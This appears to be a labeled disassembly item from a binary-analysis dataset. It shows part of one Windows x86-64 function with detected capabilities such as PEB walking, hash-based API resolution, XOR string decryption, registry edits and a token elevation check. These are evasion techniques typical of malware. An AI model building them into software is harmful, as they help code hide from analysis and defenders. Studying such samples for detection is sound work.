Function at 0x1400029a0
Capabilities:
Access peb ldr_data
Create process on windows
Delete registry value
Encode data using xor
Generate random numbers using a mersenne twister
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x24ba0]
mov eax, 0x24ca0
call fcn.14001a460
sub rsp, rax
movaps xmmword [rsp + 0x24c90], xmm6
mov rax, qword [0x14001e040]
xor rax, rsp
mov qword [rbp + 0x24b80], rax
xor esi, esi
call fcn.140001320
mov rax, qword [0x14001e7e8]
test rax, rax
jne 0x140002ab6
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140002a97
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140002a97
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xa32ddb46
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140002a92
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140002a70
cmp edx, 0x8ad69cae
je 0x140002b8b
test r8d, r8d
jne 0x140002a50
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x140002aac
cmp qword [rax + 0x30], rsi
jne 0x140002a20
mov rax, rsi
mov qword [0x14001e7e8], rax
mov r8d, 0x104
lea rdx, [rbp + 0x24960]
xor ecx, ecx
call rax
lea rdx, [rbp + 0x24960]
lea rcx, [rbp + 0x17e0]
call fcn.1400184f0
nop
call fcn.140001640
lea r12, [0x14001ee30]
mov r15d, dword [0x14001e088]
test al, al
je 0x140003583
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140002b86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002b86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7e19c3ad
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140002b81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140002b60
cmp r8d, 0xc886e608
je 0x140002ba7
test r9d, r9d
jne 0x140002b40
mov rax, qword [rax]
jmp 0x140002b10
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140002aaf
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140002c56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140002c56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x7d19c21a
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140002c51
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140002c30
cmp r8d, 0x95df08f
je 0x140002c5b
test r9d, r9d
jne 0x140002c10
mov rcx, qword [rcx]
jmp 0x140002be0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
xor edx, edx
mov rcx, r14
call r8
lea rdx, [rbp + 0x2128]
lea rcx, [rsp + 0x70]
call fcn.1400027a0
cmp byte [rbp + 0x2157], 0
je 0x140002e33
cmp r15d, 2
jl 0x140002de7
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x212c]
mov r8d, dword [rbp + 0xf0]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140002ce0
jmp 0x140002e33
lea r9, [rbp + 0x2128]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140002e00
mov qword [rsp + 0x20], r12
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rbp + 0x2128]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10d, eax
cmp byte [rbp + 0x2157], 0
jne 0x140003003
cmp r15d, 2
jl 0x140002fb7
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x212c]
mov r8d, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140002eb0
jmp 0x140003003
lea r9, [rbp + 0x2128]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140002fd0
test r10d, r10d
jne 0x1400033e0
lea rdx, [rbp + 0xf4d]
lea rcx, [rsp + 0x72]
call fcn.1400027d0
movzx eax, byte [rbp + 0xf4d]
test al, al
je 0x140003030
xor al, 0x57
mov byte [rbp + 0xf4d], al
lea rdx, [rbp + 0xf4d]
mov rcx, qword [0x14001ee30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp byte [rbp + 0xf4d], 0
jne 0x140003054
mov byte [rbp + 0xf4d], 0x57
lea rdx, [rbp + 0x11e8]
lea rcx, [rsp + 0x73]
call fcn.140002840
cmp byte [rbp + 0x11f7], 0
je 0x140003213
cmp r15d, 2
jl 0x1400031c7
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x11ec]
mov r8d, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400030c0
jmp 0x140003213
lea r9, [rbp + 0x11e8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400031e0
lea rdx, [rbp + 0x11e8]
mov rcx, qword [0x14001ee30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp byte [rbp + 0x11f7], 0
jne 0x1400033d3
cmp r15d, 2
jl 0x140003387
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x11ec]
mov r8d, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140003280
jmp 0x1400033d3
lea r9, [rbp + 0x11e8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400033a0
mov rcx, qword [0x14001ee30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [rbp + 0x2157], 0
jne 0x140003583
cmp r15d, 2
jl 0x140003537
movdqa xmm5, xmmword [0x14001bb20]
mov edx, esi
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x212c]
mov r8d, dword [rbp + 0xf0]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140003430
jmp 0x140003583
lea r9, [rbp + 0x2128]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140003550
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003616
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003616
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xeeb41d10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003611
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400035f0
cmp r8d, 0xb9bfba36
je 0x14000361b
test r9d, r9d
jne 0x1400035d0
mov rax, qword [rax]
jmp 0x1400035a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
lea r8, [rbp + 0xef0]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov r13, 0xffffffffffffffff
test eax, eax
je 0x1400051de
mov dword [rbp + 0xfb8], 4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400036f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400036f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xefa752b0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400036f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400036d0
cmp r8d, 0xe2d2a289
je 0x1400036fb
test r9d, r9d
jne 0x1400036b0
mov rax, qword [rax]
jmp 0x140003680
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0xfb8]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0xfbc]
lea edx, [r9 + 0x10]
mov rcx, qword [rbp + 0xef0]
call r10
mov r14d, esi
test eax, eax
cmovne r14d, dword [rbp + 0xfbc]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400037d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400037d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xf0a515ac
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400037d1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400037b0
cmp r8d, 0x851d5bb6
je 0x1400037db
test r9d, r9d
jne 0x140003790
mov rax, qword [rax]
jmp 0x140003760
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0xef0]
call rdx
test r14d, r14d
je 0x1400051de
lea rdx, [rbp + 0x1220]
lea rcx, [rsp + 0x74]
call fcn.140002980
cmp byte [rbp + 0x1230], 0
je 0x1400039c3
mov r8d, esi
cmp r15d, 2
jl 0x14000397d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1224]
mov edx, dword [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003870
cmp r8d, 0x11
jge 0x1400039c3
movsxd rax, r8d
lea r9, [rbp + 0x1220]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140003990
lea rdx, [rbp + 0x1220]
lea rcx, [rbp + 0x740]
call fcn.1400184f0
mov rcx, rax
call fcn.140001a80
test al, al
je 0x140004803
lea rcx, [rbp + 0x17e0]
call fcn.140018160
mov rbx, rax
lea rdx, [rbp + 0x1280]
lea rcx, [rsp + 0x75]
call fcn.140002580
lea rdx, [rbp + 0x11d8]
lea rcx, [rsp + 0x76]
call fcn.1400025b0
lea rdx, [rbp + 0xfc0]
lea rcx, [rsp + 0x77]
call fcn.1400025e0
lea rdx, [rbp + 0x1e58]
lea rcx, [rsp + 0x78]
call fcn.1400025f0
lea rcx, [rbp + 0x17a0]
call fcn.140018650
nop
cmp byte [rbp + 0x1295], 0
je 0x140003bf3
mov r8d, esi
cmp r15d, 2
jl 0x140003bad
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1284]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001bb50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003aa0
cmp r8d, 0x16
jge 0x140003bf3
movsxd rax, r8d
lea r9, [rbp + 0x1280]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140003bc0
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x17a0]
call fcn.1400182a0
cmp byte [rbp + 0x1295], 0
jne 0x140003db3
mov r8d, esi
cmp r15d, 2
jl 0x140003d6d
movdqa xmm5, xmmword [0x14001bb20]
movdqa xmm4, xmmword [0x14001bb70]
movdqa xmm6, xmmword [0x14001bb40]
movdqa xmm0, xmmword [str.WWWWWWWWWWWWWWWW]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x1284]
mov edx, dword [rbp + 0xf0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
